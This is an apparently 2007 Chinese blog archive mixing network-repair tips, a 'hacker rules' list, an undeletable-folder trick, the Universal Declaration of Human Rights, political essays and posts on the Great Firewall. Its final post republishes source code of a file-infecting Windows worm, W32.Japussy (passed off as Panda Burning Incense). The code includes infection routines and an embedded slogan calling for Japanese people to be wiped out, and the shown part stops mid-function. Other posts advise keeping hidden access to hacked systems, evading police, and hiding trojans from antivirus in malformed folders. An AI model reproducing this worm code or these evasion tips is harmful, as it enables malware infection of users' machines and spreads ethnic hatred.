第六步:对注册表中的相关键值进行修复,启动注册表编辑器(开始->运行->输入regedit),找到并单击注册表子项 HKEY_CLASSES_ROOT\Interface\{0000010C-0000-0000-C000-000000000046}验证其子项 NumMethods和ProxyStubClsid32是否存在,并且它们的值是否正确(nummethods为4,ProxyStubClsid32 为{00000320-0000-0000-C000-000000000046}。如果不存在注册表子项,请创建它们。
引用内容
小提示:
在修改注册表之前一定要先备份,否则会造成由于修改不甚而进入不了操作系统的后果。
第七步:确保在计算机中没有任何不存在的,虚幻的或隐藏的网络适配器,如果存在请全部删除。并且删除所有第三方网络适配器管理软件。
第八步:在设备管理器中,删除网络适配器,并重新手动或让操作系统自动安装网卡驱动。此步操作可检测和纠正网络适配器绑定上损坏的注册表条目。如果所有其他步骤都不能解决实际问题的话,请执行此步骤。
三,总结:
在实际中遇到本地连接或拨号连接出现问题时就可以采用上面介绍的八步来解决了。只要你按照顺序一步一步的操作,基本上都可以解决掉网络连接相关的故障。
| [+/-] |
黑客守则 |
1 Never damage any system. This will only get you into trouble.
不 恶 意 破 坏 任 何 系 统, 这 样 做 只 会 给 你 带 来 麻 烦。 恶 意 破 坏 它 人 的 软 件 或 系 统 将导 致法 律 刑 责, 如 果 你 只 是 使 用 电 脑, 那 仅 为 非 法 使 用!! 注 意: 千 万 不 要 破 坏 别人 的 软 件 或资 料!!
2 Never alter any of the systems files, except for those needed to insure that you are not detected, and those to insure that you have access into that computer in the future.
绝 不 修 改 任 何 系 统 文 件, 除 非 你 认 为 有 绝 对 把 握 的 文 件, 或 者 要 改 那 些 文 件 是 为了 使 你 自 己 在 以 后 更 容 易 的 再 次 进 入 这 个 系 统 而 必 须 更 改的。
3 Do not share any information about your hacking projects with anyone but those you'd trust.
不 要 将 你 已 破 解 的 任 何 信 息 与 人 分 享, 除 非 此 人 绝 对 可 以 信赖。
4 When posting on BBS's (Bulletin Board Systems) be as vague as possible when describing your current hacking projects. BBS's CAN be monitered by law enforcement.
当 你 发 送 相 关 信 息 到 BBS (电 子 公 告 板)时, 对 于 你 当 前 所 做 的 黑 事 尽 可 能 说 的 含糊 一 些, 以 避 免 BBS 受 到 警 告。
5 Never use anyone's real name or real phone number when posting on a BBS.
在 BBS 上 Post 文 章 的 时 候 不 要 使 用 真 名 和 真 实 的 电 话 号码。
6 Never leave your handle on any systems that you hack in to.
如 果 你 黑 了 某 个 系 统, 绝 对 不 要 留 下 任 何 的 蛛丝 马 迹。(绝 对 不 要 留 下 大 名 或 者 是绰 号 之类 的, 这 时 由 于 成 功 的 兴 奋 所 导 致 的 个 人 过 度 表 现 欲 望 会 害 死 你的。)
7 DO NOT hack government computers.
不 要 侵 入 或 破 坏 政 府 机 关 的 主 机。
8 Never speak about hacking projects over your home telephone line.
不 在 家 庭 电 话 中 谈 论 你 Hack 的 任 何 事 情。
9 Be paranoid. Keep all of your hacking materials in a safe place.
将 你 的 黑 客 资 料 放 在 安 全 的 地 方。
10 To become a real hacker, you have to hack. You can't just sit around reading text files and hanging out on BBS's. This is not what hacking is all about.
想 真 正 成 为 黑 客, 你 必 须 真 枪 实 弹 去 做 黑 客 应 该 做 的 事 情。 你 不 能 仅 仅 靠 坐 在 家里 读些 黑 客 之 类 的 文 章 或 者 从 BBS 中扒 点 东 西, 就 能 成 为 黑 客, 这 不 是 "黑 客" 的真 正 含 义。
2007/03/11
| [+/-] |
Blogging应该避免的10个错误 |
1、不更新
这是刚写blog最容易犯的毛病,刚开始感觉新鲜兴奋,但过段时间就慢慢减少更新,最后不更新。其实一周哪怕更新一次都好,不更新或者更新频率太低,你的blog就相当于死亡了
2、为钱而Blogging
实际上靠写blog而赚钱的人真是少之又少,如果抱着这个目的写blog,你注定会失败
3、匆忙而做
实际上写完之后适当的检查复审一遍,去掉一些显而易见的拼写错误,改正一些不太通畅的语句是很有必要的
4、不是个人的blog
blog不是公众新闻网站,阅读你blog的人是想了解你的观点和建议,做得跟传统媒体一样就没什么意思了
5、成为一只拷贝猫
你不应该只做复制内容的blogger,能够经常原创是最好,就算是有copy别人的post,你也应该加入你的评论和看法
6、不响应评论
blog是一个双向交流工具,对于读者的留言评论一定要响应回复
7、不给出全文RSS
很多人不提供全文RSS是希望得到更多流量,但blog订阅者往往会放弃订阅这些只提供摘要RSS的blog
8、不接触其他blogger
跟其他blogger接触例如留言、trackback等,可以跟他们建立联系,也可以引起关注,此外你可以在留言中链接到他们的blogger,从中发现许多更有价值的东西,有机会的话可以建立交流讨论的通道,例如社区或者IM
9、为Google而写而不是为人而写
准确的说,你很会为blog做搜索引擎优化SEO,但这不是读者希望看到的,需要改变这种为SEO而调整写作技巧和内容的状况
10、不订阅"云中剑客's Blog"
我想这里的每个人都会同意不订阅本blog是最大的错误,:)
2007/02/26
| [+/-] |
另类"加密"隐藏"特殊"文件 |
一、原理简单 方法明确
众所周知,在Windows中“”符号是路径的分隔符,比如“C:Windows”的意思是指C分区中的Windows文件夹,而“C:WindowsSystem.exe”的意思是C分区中的Windows文件夹中的System.exe文件。那么如果文件名中有“”符号会怎么样呢?假如“S”是一个文件夹的名字,这个文件夹位于“F:”,它的路径就是“F:S”,当我们试图访问时,Windows会错误的认为我们要打开的文件是F分区下的名为“S”的文件夹,而非“s”文件夹,这样Windows就无法准确打开该文件夹,并且会返回一个错误信息,因为以上路径并不存在。
二、建立目录 饶道而行
知道了原理,那么就在Windows XP下简单的创建“S”文件夹吧。咦?怎么系统会提示“文件名不能包含‘’符号”。看来微软早已想到这一点了,看来只好采取其它办法来创建这个“特殊”文件夹了。
在“运行”栏中执行“cmd”命令,打开命令提示符窗口,在其中输入“c:”命令(不含引号,下同),接着在“c:”后输入“mkdir s..”,按回车键。现在,打开资源管理器,可看到C盘下建立了一个名为“s.”的文件夹,不过这个文件夹既不能打开也不能删除。不能打开是因它的实际路径是“c:s..”(由于是我们自己创建的,所以可以确定它的实际路径),但在系统资源管理器中,它的文件夹名变成了“s.”,这样当试图打开它时,系统实际上尝试打开的是“c:s.”,这当然是不能打开的。由于系统认为该文件夹并不存在,所以会报错,不能删除也是基于此原因.
如果在c:后键入mkdir s...按回车键,在资源管理器中会看到名为“s..”的文件夹,而这个文件夹可以打开但无法删除。但实际上这个文件夹是无效的,在Windows XP下拷贝任意一个文件到这个文件夹,再打开时便会发现其中什么也没有。
虽然新建的“s..”文件夹不能打开也不能删除,但它却不妨碍我们向其中拷贝文件。不过需要注意的是,一旦对这个文件夹进行了操作,便会在当前路径下多出一个名为“s”的文件夹,此时这两个文件夹便都可以正常打开了,但里面的内容均为空。这时只要删除其中任意一个文件夹,留下的文件夹便又无法在资源管理器中,进行正常的打开或删除操作了。
既然这样的文件夹在Windows下不会被删除,那么就大可放心的将黑客工具或重要文件保存其中了。经过测试,在其中即使存放木马甚至病毒程序,也不会被杀毒软件查杀到了。
虽然这类文件夹在资源管理器中不能正常打开,但可以通过“运行”栏进行开启,前提是知道该文件夹的真实路径。比如本例便可在“运行”栏中键入“c:s..”后,按回车键来打开这个文件夹。
三、删除操作 轻松自如
最后再来说说这类文件夹的删除方法。如果文件夹是空的,可在命令提示符窗口中输入“c:”,然后再键入“rmdir s..”命令,按回车执行后即可删除。如果文件夹中已存放了文件,则可键入“rmdir s../s”命令,按回车键后,提示“s.., 是否确认(Y/N)?”时,键入“y”键删除该文件夹。
看到这里,很多朋友可能发现建立这样一个文件夹,不仅可起到防止误删除的目的。还可将一些重要资料存放其中,达到另类加密的效果,一般的菜鸟还真是解不开这个秘密的哦!
2007/02/21
| [+/-] |
世界人权宣言 |
| 1948年12月10日,联合国大会通过并颁布《世界人权宣言》。这一具有历史意义的《宣言》颁布后,大会要求所有会员国广为宣传,并且“不分国家或领土的政治地位,主要在各级学校和其他教育机构加以传播、展示、阅读和阐述。”《宣言》全文如下: 序 言 鉴于对人类家庭所有成员的固有尊严及其平等的和不移的权利的承认,乃是世界自由、正义与和平的基础, 鉴于对人权的无视和侮蔑已发展为野蛮暴行,这些暴行玷污了人类的良心,而一个人人享有言论和信仰自由并免予恐惧和匮乏的世界的来临,已被宣布为普通人民的最高愿望, 鉴于为使人类不致迫不得已铤而走险对暴政和压迫进行反叛,有必要使人权受法治的保护, 鉴于有必要促进各国间友好关系的发展, 鉴于各联合国国家的人民已在联合国宪章中重申他们对基本人权、人格尊严和价值以及男女平等权利的信念,并决心促成较大自由中的社会进步和生活水平的改善, 鉴于各会员国业已誓愿同联合国合作以促进对人权和基本自由的普遍尊重和遵行, 鉴于对这些权利和自由的普遍了解对于这个誓愿的充分实现具有很大的重要性, 因此现在, 大会, 发布这一世界人权宣言,作为所有人民和所有国家努力实现的共同标准,以期每一个人和社会机构经常铭念本宣言,努力通过教诲和教育促进对权利和自由的尊重,并通过国家的和国际的渐进措施,使这些权利和自由在各会员国本身人民及在其管辖下领土的人民中得到普遍和有效的承认和遵行; 第一条 人人生而自由,在尊严和权利上一律平等。他们赋有理性和良心,并应以兄弟关系的精神相对待。 第二条 人人有资格享有本宣言所载的一切权利和自由,不分种族、肤色、性别、语言、宗教、政治或其他见解、国籍或社会出身、财产、出生或其他身分等任何区别。 并且不得因一人所属的国家或领土的政治的、行政的或者国际的地位之不同而有所区别,无论该领土是独立领土、托管领土、非自治领土或者处于其他任何主权受限制的情况之下。 第三条 人人有权享有生命、自由和人身安全。 第四条 任何人不得使为奴隶或奴役;一切形式的奴隶制度和奴隶买卖,均应予以禁止。 第五条 任何人不得加以酷刑,或施以残忍的、不人道的或侮辱性的待遇或刑罚。 第六条 人人在任何地方有权被承认在法律前的人格。 第七条 法律之前人人平等,并有权享受法律的平等保护,不受任何歧视。人人有权享受平等保护,以免受违反本宣言的任何歧视行为以及煽动这种歧视的任何行为之害。 第八条 任何人当宪法或法律所赋予他的基本权利遭受侵害时,有权由合格的国家法庭对这种侵害行为作有效的补救。 第九条 任何人不得加以任意逮捕、拘禁或放逐。 第十条 人人完全平等地有权由一个独立而无偏倚的法庭进行公正的和公开的审讯,以确定他的权利和义务并判定对他提出的任何刑事指控。 第十一条 ㈠ 凡受刑事控告者,在未经获得辩护上所需的一切保证的公开审判而依法证实有罪以前,有权被视为无罪。 ㈡ 任何人的任何行为或不行为,在其发生时依国家法或国际法均不构成刑事罪者,不得被判为犯有刑事罪。刑罚不得重于犯罪时适用的法律规定。 第十二条 任何人的私生活、家庭、住宅和通信不得任意干涉,他的荣誉和名誉不得加以攻击。人人有权享受法律保护,以免受这种干涉或攻击。 第十三条 ㈠ 人人在各国境内有权自由迁徙和居住。 ㈡ 人人有权离开任何国家,包括其本国在内,并有权返回他的国家。 第十四条 ㈠ 人人有权在其他国家寻求和享受庇护以避免迫害。 ㈡ 在真正由于非政治性的罪行或违背联合国的宗旨和原则的行为而被起诉的情况下,不得援用此种权利。 第十五条 ㈠ 人人有权享有国籍。 ㈡ 任何人的国籍不得任意剥夺,亦不得否认其改变国籍的权利。 第十六条 ㈠ 成年男女,不受种族、国籍或宗教的任何限制有权婚嫁和成立家庭。他们在婚姻方面,在结婚期间和在解除婚约时,应有平等的权利。 ㈡ 只有经男女双方的自由和完全的同意,才能缔婚。 ㈢ 家庭是天然的和基本的社会单元,并应受社会和国家的保护。 第十七条 ㈠ 人人得有单独的财产所有权以及同他人合有的所有权。 ㈡ 任何人的财产不得任意剥夺。 第十八条 人人有思想、良心和宗教自由的权利;此项权利包括改变他的宗教或信仰的自由,以及单独或集体、公开或秘密地以教义、实践、礼拜和戒律表示他的宗教或信仰的自由。 第十九条 人人有权享有主张和发表意见的自由;此项权利包括持有主张而不受干涉的自由,和通过任何媒介和不论国界寻求、接受和传递消息和思想的自由。 第二十条 ㈠ 人人有权享有和平集会和结社的自由。 ㈡ 任何人不得迫使隶属于某一团体。 第二十一条 ㈠ 人人有直接或通过自由选择的代表参与治理本国的权利。 ㈡ 人人有平等机会参加本国公务的权利。 ㈢ 人民的意志是政府权力的基础;这一意志应以定期的和真正的选举予以表现,而选举应依据普遍和平等的投票权,并以不记名投票或相当的自由投票程序进行。 第二十二条 每个人,作为社会的一员,有权享受社会保障,并有权享受他的个人尊严和人格的自由发展所必需的经济、社会和文化方面各种权利的实现,这种实现是通过国家努力和国际合作并依照各国的组织和资源情况。 第二十三条 ㈠ 人人有权工作、自由选择职业、享受公正和合适的工作条件并享受免于失业的保障。 ㈡ 人人有同工同酬的权利,不受任何歧视。 ㈢ 每一个工作的人,有权享受公正和合适的报酬,保证使他本人和家属有一个符合人的生活条件,必要时并辅以其他方式的社会保障。 ㈣ 人人有为维护其利益而组织和参加工会的权利。 第二十四条 人人有享有休息和闲暇的权利,包括工作时间有合理限制和定期给薪休假的权利。 第二十五条 ㈠ 人人有权享受为维持他本人和家属的健康和福利所需的生活水准,包括食物、衣着、住房、医疗和必要的社会服务;在遭到失业、疾病、残废、守寡、衰老或在其他不能控制的情况下丧失谋生能力时,有权享受保障。 ㈡ 母亲和儿童有权享受特别照顾和协助。一切儿童,无论婚生或非婚生,都应享受同样的社会保护。 第二十六条 ㈠ 人人都有受教育的权利,教育应当免费,至少在初级和基本阶段应如此。初级教育应属义务性质。技术和职业教育应普遍设立。高等教育应根据成绩而对一切人平等开放。 ㈡ 教育的目的在于充分发展人的个性并加强对人权和基本自由的尊重。教育应促进各国、各种族或各宗教集团间的了解、容忍和友谊,并应促进联合国维护和平的各项活动。 ㈢ 父母对其子女所应受的教育的种类,有优先选择的权利。 第二十七条 ㈠ 人人有权自由参加社会的文化生活,享受艺术,并分享科学进步及其产生的福利。 ㈡ 人人对由于他所创作的任何科学、文学或美术作品而产生的精神的和物质的利益,有享受保护的权利。 第二十八条 人人有权要求一种社会的和国际的秩序,在这种秩序中,本宣言所载的权利和自由能获得充分实现。 第二十九条 ㈠ 人人对社会负有义务,因为只有在社会中他的个性才可能得到自由和充分的发展。 ㈡ 人人在行使他的权利和自由时,只受法律所确定的限制,确定此种限制的唯一目的在于保证对旁人的权利和自由给予应有的承认和尊重,并在一个民主的社会中适应道德、公共秩序和普遍福利的正当需要。 ㈢ 这些权利和自由的行使,无论在任何情形下均不得违背联合国的宗旨和原则。 第三十条 本宣言的任何条文,不得解释为默许任何国家、集团或个人有权进行任何旨在破坏本宣言所载的任何权利和自由的活动或行为。 |
| [+/-] |
[转]陪审团不是陪审团。 |
陪审团不是陪审团。
陪审团,之所以取名陪审团,是因为历届的中国政府不想让人们知道别人的法院是由老百姓判案的,所以在翻译时有意翻译成陪审团------让人们以为是坐在后面无关紧要的旁听者,正确的翻译应是"临时裁判委员会",临时是为了防止老百姓被洗脑,和长期担任该职务后变成政府利益集团的一分子,裁判说明其拥有实权,完全没有"陪"的意思。美国的法庭里面的法官仅仅是个法庭的主持人,没有裁定罪名成立与否的权力,委员会说明其有多人组成。"jury"(陪审团)一词来源于拉丁文jurata,意思是"临时性的,应急性的"
如果中国是像美国那样的民主法制,法院是由所在地的从普通老百姓中随机抽签临时产生的12个没有犯罪记录的人组成的陪审团进行裁判。那些坑蒙拐骗的商人会被判得倾家荡产,甚至丢掉生命或坐牢,这样才能制约贪官和奸商.美国很多民事官司连最终赔多少钱都是由陪审团说了算的,自然也就没有什么坑蒙拐骗的事了。中国要有这样的制度,还会有这么多的贪官?还会有这么多的矿难?还会有这么多的奸商? 还会有那么多的黑心医院?还会有中国式的拆迁? 还会有农民工讨薪的问题?
我们应该借鉴这些民主制度,还法于民.陪审团制度是民主制度中老百姓权利的终极体现。
资本主义capitalism不是"资本主义"
一个很简单的例子就能很好的说明这个问题,你可以看到那些所谓资本主义(capitalism)国家的人会自豪地说"我以我们的国家是资本主义(capitalism)而自豪", 如果这句话是当老板的人这样说的,我倒觉得还可以理解,问题是这句话是普通的打工仔也这样说,这就让人觉得不可思议了。从这个例子就说明 "capitalism"这个词根本不是某党给我们翻译的那个"资本主义"的意思。你想一个穷打工仔什么资本都没有,他为"资本主义"自豪什么?
下面我们来看看西方的原意解释:
What is capitalism?
(什么是capitalism?)
Capitalism is a social system based on the principle of individual rights. The term capitalism is used here in the broader philosophical political sense, and not in the narrower economic sense, i.e. a free-market.
(Capitalism是以个人权利原则为基础的社会系统。capitalism 这个词在这里有更广的哲学和政治上的意义,并不仅限于狭隘的经济意义,例如,自由市场。)
从上面的解释看,和资本二字关系不大, 其强调的是个人权力,包括个人经济上的权力。如果这个词用来描述整个社会的话其强调的是保障个人权利的社会模式,如果用在表述经济模式的话,这个词描述的是"自由市场"经济模式,其实自由市场经济的关键也是推崇经济上的个人权利,这个词被翻译成资本主义是某些D别有用心的捏造。
亚当.斯密的《国富论》是资本主义精神的基石,提出了自由市场中 "看不见的手"的理论,要求政府和官僚那只"看得见的黑手"不要干扰经济,崇尚经济上的个人主义。追求个人经济自由,认为一个一个单独的自由平等的个人之间的自由交换就可以实现社会财富的最大化,并实现经济资源的优化配置。证明了政府对市场的任何干扰都会降低整个社会的财富,削弱资源的优化配置,以精密地逻辑证明了整个国家集体的利益可以通过保护个人利益的方式来实现。
而政府只需管经济中的欺诈,保护专利,等很少部分,其他的部分都由每一个国民个体自己独立决定完成,不需要政府官僚的干涉,让民间经济活动充分自由,说简单一点就是要让个人投资的自由,交易的自由,劳动的自由都得到保障,不受政府和官僚干扰。让所有经济要素都自由流动起来,摆脱政府(不管是皇权还是专制政府官僚,或者封建权贵)的控制,这就是Capitalism的精神所在:保证个人权利、推崇人人平等和个人自由,其中也包括个人经济权利和自由。反对政府和官员干涉个人经济活动。
"还商于市以增民富"也就是这样来的。"还商于市"要求政府不要管市场, 把市场从官办市场变革成自由市场。
所以说资本主义(Capitalism)革命的本质也就是反对官僚控制经济的革(阿)命。这一点中国的教科书从来不把他讲清楚,说到这个问题就有意说得很笼统,搞得玄乎其玄,什么"经济基础决定上层建筑",总之不给你把它讲明白。因为资本主义(Capitalism)革命反对的政府及其官员控制经济,这恰恰正好是G产主义完全支持的,G产主义不仅要求政府控制经济,而且是要全完控制一切经济,美其名曰公有制。
正是因为这个原因,所以有意把Capitalishm翻译成"资本主义",目的就是丑化这个词及其思想,之所以不把他翻译成"个人主义"、"自由主义"或者"自由市场"这些相对更贴切的词,就是为了隐瞒该词所包含的这些思想---"推崇个人权利"、"反对政府及其官员权力过大"或者"推崇自由市场经济模式"。
我们再来看刚才举的例子穷打工仔说的那句话"我以我们的国家是资本主义(capitalism)而自豪",其真实要表达的真正意思应该是:"我以我们的国家推崇个人权利而自豪"。
把一个人用来赞美自己国家的为之自豪的"capitalism"这个词,用心险恶的翻译为"资本主义"是一种恶意诽谤和诬蔑的,根本无法想象一个国家的国民会用"资本主义"这个词来为自己国家感到自豪。这就好比"社会主义"(socialism)其实也是一个很正面的词汇,翻译为"社会主义"就很容易让人感到其积极和正面的意义,如果我要是像是某党那样恶意翻译的话,我就会把它翻译为"官僚主义",或者"泯灭个性主义"、"官权主义"、"极权主义",因为这样的社会的本质就是让政府及其官员拥有全部管理经济的能力,让老百姓没有任何经济自主权,全部受政府官员摆弄,如果我这样翻译,我看还有谁会为这样的国家自豪?我想只有傻子才会说"我为我们的国家是官权主义而自豪",当然除了官员这样说,我能理解,其他人这样说根本是不可能。
资本主义不该翻译为"资本主义",
翻译为资本主义是故意摸黑和恶意欺骗。
财团不是财团
在美国选举中,经常会说受到的某某"财团"的支持,"财团"这个词的翻译表达不准确,并不是我们理解的富人俱乐部的意思,这个词在这里的意思本身仅仅指出钱的个人所属的团体,因为这些所谓的财团包括这样的组织:比如各种类型的工会,伐木工人工会,汽车业工人工会,电气工程师工会,教师联盟,律师团体,小麦种植者组织,临时工联盟等等,这些也都叫做美国的"财团",和是不是富人根本没有关系,并且这些组织仅仅能够号召大家捐款,不能组织捐款,更没有对其成员的任何捐款强制性,不加解释的翻译为"财团"是某党有意的歪曲和误导。
就比如你们公司如果是铁路公司,你们成立的全国性的铁路工人工会,一共有10万名会员,当然工会要交会费,但是会费不得用于捐助竞选总统和联邦议会,只是你们铁路工人支持民主党的人较多,这些人以个人行为自愿捐款给民主党的候选人,最后统计下来整个属于这个工会的人一共给民主党捐了50万,然后就不加解释的说美国民主党受到全国铁路运输网等财团和利益团体的控制,这就是中国式的官方翻译和误导技巧。
为了达到让人们不知道的目的,中国甚至连维基百科这样的网站都要封锁,包括英文的维基百科网站,正是疏而不漏呀。
有心理暗示效应的"忽悠辞汇"大全
文章提交者:盛世锦衣卫 加帖在 猫眼看人 【凯迪网络】
汉语表达力的精微浩瀚,真是不可言说;汉语所具有的丰富表情,对事物的描述可以悄然中附加主观好恶,并达到"润物细无声"的功效――即"心理暗示"的效用。
汉语的特点正是富于模糊机巧和感性,因而被用于"忽悠"时,是最具奇效、频率最高的语言!例词:公仆、主人、广大的、一小撮、专家称、学者说……
宣言、宣称、呐喊、叫嚣、亲自、擅自、学说、论调……
所谓、云云、别有用心、用心良苦、呕心沥血、死不改悔……
同一事物,换个近意词,意思就大不同了!例句:
1.a.他慷慨激昂地呐喊:民主离我们不远了!
b.他声嘶力竭地叫嚣:民主离我们不远了!
2.a春节之际,牛书记于百忙中亲自下乡,带去上级的亲切问候,又不辞劳苦为机关员工解决了土特产年货。
b.趁春节之际,牛书记放下工作来到乡下,带去所谓上级的问候,又颇费心机地为机关干部解决了土特产年货。
3.a.华莱士视死如归,在生命的最后时刻震撼人心地呐喊着"自由"!
b华莱士死不改悔,在生命即将结束时垂死挣扎地嚎叫着"自由"!
在善用汉语,尤其是玩味汉语表情和心理暗示功效方面,CCTV(音:嘻嘻替为)是典范。当然,各级别的媒体也都技巧娴熟,堪为汉语言表帅。
文章提交者:07217406318 加帖在 猫眼看人 【凯迪网络】 http://www.kdnet.net
小强死了,周星驰悲痛欲绝……
小强挂了,周星驰如丧考妣……
春节将至,城管加大力度,连日奋战,整理乱摆乱放……
春节又到,城管更加疯狂,不问黑白,抢夺路边小商小贩……
文章提交者:0721778651 加帖在 猫眼看人 【凯迪网络】 http://www.kdnet.net
广大的公仆用心良苦
一小撮主人别有用心
专家称公仆呕心沥血
学者说主人死不改悔
文章提交者:07219878532 加帖在 猫眼看人 【凯迪网络】 http://www.kdnet.net
"意"字组词练习第一课:
张三悍然去了洗手间:恶意地装作解手,大意地没有冲水,不在意地唾了口痰,得意地顺手牵羊拿走了一小卷手纸,惬意地塞进公文包里。
-----------------------------------------------------------------
张三贼头贼脑窜出洗手间,阴险毒辣地朝四周窥视……仓惶逃窜到一小撮人那里,一双黑手从乱摆乱放的小贩那里,买了根肮脏的烤肠,恶狠狠地两口吞下肚。
这时,远处传来我城管战士宏亮的声音:站住!哪里逃!张三与一小撮不明真相的群众,顾意围观,防碍公务……我英勇的城管战士,奋勇向前,谱写了一曲可歌可泣的感人事迹!
为了城市的整洁、美好的明天、祥和的社区,在有关部门的配合下,严厉打击了别有用心的商贩及一小撮疯狂歹徒!……可是一些狡猾的商贩趁机逃窜,继续进行其不可告人的勾当――流动摆摊作案。
张三之流胆敢在光天化日之下、丧心病狂地配合商贩,为了贪图个人方便,疯狂购进小贩的食品,成为乱摆乱放的滋生的温床!是可忍,孰不可忍!
有专家分析并指出,根除破坏环境的小商贩,要联合……、……、……、……综合治理,全面出击,加强装备,出台措施,严厉打击!
2007/02/20
| [+/-] |
什么是GFW |
中国的小朋友基本上都有这样的特点,就是不爱学习而且喜欢传播谣言。
先说谣言的事。最近一中一外两大搜索引擎拼的很凶。于是中国的那家就派人放出谣言说他们的外国竞争对手(我不会告诉你是google的)竟然不顾中国人们的感情以及历史真相,屏蔽掉"钓鱼岛"以及"南京大屠杀"这样的关键词。乖乖那还得了。一时间,到处可以看到"不顾事实真相"批判google"不顾历史真相"的可耻行径的文字,热血小朋友就纷纷组织起来要用自己的实际行动封杀google。如果你是在QQ上转发这些消息的话,发到五个群还奖励一个太阳哦,很灵的,我已经升了、是中国人的就顶起来。
在这里,首先我要肯定这些小朋友的爱国热情是好的,但是我不得不说这里他们的确是被别有用心的人操纵了,不小心陷入了不正当的商业竞争,为别人做了免费宣传。要是他们肯好好学习科技知识,上网的时候不要只开一个qq外加一个网游的话,就应该了解到中国互联网络的组成,也就不会不知道中国有一个 GFW。
文字水平真是差,写了半天才开始切入主题。那么什么是GFW了呢?它是:"The Great Fire Wall of China"的缩写,也就是"国家公共网络监控系统",简称"防火长城",是公安部"金盾工程"的一部分,当然也是是防止资本主义国家和平演变的好工具。为什么这么说呢?那你得先了解一下GFW的功能:所有从国外流进来的网页信息首先都要被GFW检查一下,看看里面有没有包含不适合中国人民看的哪些乌七八糟的词汇,比如"钓鱼岛"之类的。要是有的话就马上不让这个网页进入国内的网络,于是你的浏览器就显示"该页无法显示"。
至于"南京大屠杀"的问题我还要帮GFW说一句话。其实GFW的本意并不是封杀这个关键字,他只是想封杀"屠杀"两个字,结果附带着不顾历史真相的把"南京大屠杀"甚至"火星大屠杀"封杀掉了。谁叫买的东西劣质呢,GFW只能黑名单过滤,不能白名单放行,国家都验收通过了,也只能这样了。不过有些事情失去了才知道珍惜啊,本来没什么人想到去搜索它,现在一下子说不能搜索了又觉得心里堵的慌。如果实在想用google搜索南京大屠杀的直接搜索"南京大屠"就是了。
| [+/-] |
GFW的真正作用 |
GFW(防火长城)的作用仅仅是屏蔽某些不符合中国政府要求的站点吗?或许许多人包括我在几天前都还是这么想的,但是当今天我考试的时候想起了一个十分经典的故事后我才领悟到了GFW的真正作用(Orz,考试还想这些)。
PS:上文的GFW链接中国大陆应该是无法打开的,原因以及GFW的注释请看这篇文章。
这个故事(有多个版本)是这样的:某个科学家进行了一个实验,将一只苍蝇放在一个密闭玻璃杯中(当然,有提供生存必备的东西),苍蝇在第一个月无时无刻不在试图向外面的世界飞翔,但是处处碰壁,伤痕累累(汗,你怎么知道的)。一个月后苍蝇就不再尝试向外面飞了,即使科学家将玻璃瓶打开苍蝇也不再进行尝试了。
这个故事的真实性我无法验证,但这个故事说明了一个道理:当我们受到的伤害太多的时候,我们就会通过各种手段来保护自己不再受伤,不再去尝试那些可能会让自己受伤的事情。这个结论已经被多位心理学家所证实,我想说的是,GFW起到的正是这个效果。
以前我一直很奇怪为什么GFW喜欢对Google采取一些特殊措施,搞一些小动作:如让Google的服务不时撞墙但又不彻底封锁。有人说是因为如果封锁Google造成的影响太大,但我不这么看,中国政府如果执意要封的话我们还是没有任何办法的。
那为何要搞这种小动作呢?其真正目的在于击溃我们的心理防线。是的,正如我们的考试,当我们知道无法改变以后,我们就只能默默接受,并逐渐对考试感到麻木。当我第一次碰到Google的服务撞墙时我感到十分愤怒,对GFW表示强烈的谴责,但当我作为一个Google Fan,使用了更多的Google服务后这种撞墙已经成为家常便饭了,我也已经习以为常,不再满腔怒火了,可以说我对于Google撞墙已经麻木了。
或许当某一天我再也不法忍受这种痛苦的时候我会放弃使用一切Google的服务来保护自己不再被伤害。这堵墙堵住了想要进来的人,但并没有堵住想要离开的人。到了最后这堵墙里没有人的时候即使这堵墙拆了也没人知道了。
GFW 的真正作用是要在精神层面上来控制中国互联网的用户而不是我们一直认为的技术层面上的控制。因为技术层面上的控制并不可怕,只要用户心中存有希望,我们就有办法可以突破GFW的限制。而如果我们绝望了,那么即使有方法我们也不会再去尝试了,我们再也不会去撞墙了,这个时候GFW也就不复存在了。
为什么要对Google采取特殊措施?因为只有Google不愿屈服于Evil,中国政府要对互联网全面控制,不能容许Google脱离这个控制,所以就用 GFW来对我们的精神进行折磨,从精神层面上控制我们不再使用Google。这就可以解释为什么google.cn撞墙的几率那么低,因为 google.cn已经屈服于Evil了。
我不知道我还能坚持多久,或许当我无法忍受时我会选择放弃中国而非放弃Google。如果中国政府真的做到这种地步,我想确实不需要GFW了,因为你把需要GFW的人都给逼走了。
版权声明:本作品作者为IwfWcf,首发于IwfWcf's Blog,转载请遵循知识共享署名-非商业性使用-相同方式共享 2.5 许可协议并注明出处。
| [+/-] |
[转]熊猫烧香源代码 |
现在熊猫烧香的病毒很流行中的人很多,我把源码公布下
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
